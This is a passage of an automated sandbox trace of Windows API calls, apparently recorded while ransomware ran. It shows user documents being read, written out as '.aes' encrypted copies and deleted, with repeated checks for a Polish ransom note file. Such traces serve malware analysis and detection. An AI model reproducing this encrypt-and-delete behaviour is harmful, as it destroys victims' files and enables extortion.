(lpFileName="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx" (normalized: "c:\\users\\kft6utqw\\documents\\4mqnx-qcbrpg7.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0078.829] GetFileType (hFile=0x8e4) returned 0x1 [0078.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0078.829] GetFileType (hFile=0x8e4) returned 0x1 [0078.829] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx.aes", lpFilePart=0x0) returned 0x32 [0078.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0078.829] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\4mqnx-qcbrpg7.docx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0078.829] GetFileType (hFile=0x8dc) returned 0x1 [0078.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0078.829] GetFileType (hFile=0x8dc) returned 0x1 [0078.829] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0078.845] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0078.845] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0078.852] LocalFree (hMem=0x703ef10) returned 0x0 [0078.852] GetAdaptersAddresses () returned 0x6f [0078.857] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0078.857] GetAdaptersAddresses () returned 0x0 [0078.861] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0078.868] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0078.868] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0078.874] LocalFree (hMem=0x6ff2da0) returned 0x0 [0078.874] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0078.880] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0078.880] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0078.887] LocalFree (hMem=0x6ff2da0) returned 0x0 [0078.887] LocalFree (hMem=0x7074460) returned 0x0 [0078.887] GetBestInterfaceEx (in: pDestAddr=0x291295c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0078.950] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.951] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.951] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.952] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.952] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.952] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.952] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.952] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.952] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.952] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.953] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.953] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.953] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.953] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.953] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.953] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.954] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.954] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.954] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.954] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x76b, lpOverlapped=0x0) returned 1 [0078.954] ReadFile (in: hFile=0x8e4, lpBuffer=0x273a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273a264*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0078.954] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x881, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce974*=0x881, lpOverlapped=0x0) returned 1 [0078.954] WriteFile (in: hFile=0x8dc, lpBuffer=0x28bfc08*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x28bfc08*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0078.954] CloseHandle (hObject=0x8dc) returned 1 [0078.955] CloseHandle (hObject=0x8e4) returned 1 [0078.955] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx", lpFilePart=0x0) returned 0x2e [0078.955] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx" (normalized: "c:\\users\\kft6utqw\\documents\\4mqnx-qcbrpg7.docx")) returned 1 [0078.956] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0078.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0078.956] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0078.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0078.956] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0078.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx", lpFilePart=0x0) returned 0x2b [0078.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0078.977] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\aonimexn t.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ccbde80, ftCreationTime.dwHighDateTime=0x1d32f23, ftLastAccessTime.dwLowDateTime=0xdaecbfa0, ftLastAccessTime.dwHighDateTime=0x1d329e3, ftLastWriteTime.dwLowDateTime=0xdaecbfa0, ftLastWriteTime.dwHighDateTime=0x1d329e3, nFileSizeHigh=0x0, nFileSizeLow=0x61e7)) returned 1 [0078.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0078.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx", lpFilePart=0x0) returned 0x2b [0078.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0078.977] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\aonimexn t.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0078.978] GetFileType (hFile=0x8e4) returned 0x1 [0078.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0078.978] GetFileType (hFile=0x8e4) returned 0x1 [0078.978] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx.aes", lpFilePart=0x0) returned 0x2f [0078.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0078.978] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\aonimexn t.xlsx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0078.978] GetFileType (hFile=0x8dc) returned 0x1 [0078.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0078.978] GetFileType (hFile=0x8dc) returned 0x1 [0078.978] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0078.986] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0078.986] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0078.993] LocalFree (hMem=0x703ef10) returned 0x0 [0078.993] GetAdaptersAddresses () returned 0x6f [0078.998] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0078.998] GetAdaptersAddresses () returned 0x0 [0079.003] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.009] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.009] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.015] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.015] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.021] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.021] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.028] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.028] LocalFree (hMem=0x7074460) returned 0x0 [0079.028] GetBestInterfaceEx (in: pDestAddr=0x28e0c4c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0079.092] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da58*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.093] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da58*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.093] WriteFile (in: hFile=0x8dc, lpBuffer=0x288cab4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x288cab4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.093] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da58*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.093] WriteFile (in: hFile=0x8dc, lpBuffer=0x288cab4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x288cab4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.094] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da58*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.094] WriteFile (in: hFile=0x8dc, lpBuffer=0x288cab4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x288cab4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.094] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da58*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.094] WriteFile (in: hFile=0x8dc, lpBuffer=0x288cab4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x288cab4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.094] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da58*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.094] WriteFile (in: hFile=0x8dc, lpBuffer=0x288cab4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x288cab4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.094] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da58*, lpNumberOfBytesRead=0x77cea50*=0x1e7, lpOverlapped=0x0) returned 1 [0079.094] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da58*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0079.094] WriteFile (in: hFile=0x8dc, lpBuffer=0x288cab4*, nNumberOfBytesToWrite=0x301, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x288cab4*, lpNumberOfBytesWritten=0x77ce974*=0x301, lpOverlapped=0x0) returned 1 [0079.095] WriteFile (in: hFile=0x8dc, lpBuffer=0x288cab4*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x288cab4*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0079.095] CloseHandle (hObject=0x8dc) returned 1 [0079.095] CloseHandle (hObject=0x8e4) returned 1 [0079.096] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx", lpFilePart=0x0) returned 0x2b [0079.096] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\aOniMexN t.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\aonimexn t.xlsx")) returned 1 [0079.096] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0079.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0079.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0079.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0079.097] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0079.118] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx", lpFilePart=0x0) returned 0x34 [0079.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0079.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\bcatcic fci96kikr19.pptx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb6a0ce0, ftCreationTime.dwHighDateTime=0x1d2bec7, ftLastAccessTime.dwLowDateTime=0xb78eec00, ftLastAccessTime.dwHighDateTime=0x1d32c71, ftLastWriteTime.dwLowDateTime=0xb78eec00, ftLastWriteTime.dwHighDateTime=0x1d32c71, nFileSizeHigh=0x0, nFileSizeLow=0xdac9)) returned 1 [0079.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0079.118] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx", lpFilePart=0x0) returned 0x34 [0079.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0079.118] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\bcatcic fci96kikr19.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0079.118] GetFileType (hFile=0x8e4) returned 0x1 [0079.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0079.118] GetFileType (hFile=0x8e4) returned 0x1 [0079.118] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx.aes", lpFilePart=0x0) returned 0x38 [0079.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0079.118] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\bcatcic fci96kikr19.pptx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0079.118] GetFileType (hFile=0x8dc) returned 0x1 [0079.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0079.118] GetFileType (hFile=0x8dc) returned 0x1 [0079.119] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0079.126] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0079.126] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0079.133] LocalFree (hMem=0x703ef10) returned 0x0 [0079.133] GetAdaptersAddresses () returned 0x6f [0079.137] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0079.137] GetAdaptersAddresses () returned 0x0 [0079.142] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.148] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.148] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.155] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.155] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.161] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.161] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.171] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.172] LocalFree (hMem=0x7074460) returned 0x0 [0079.172] 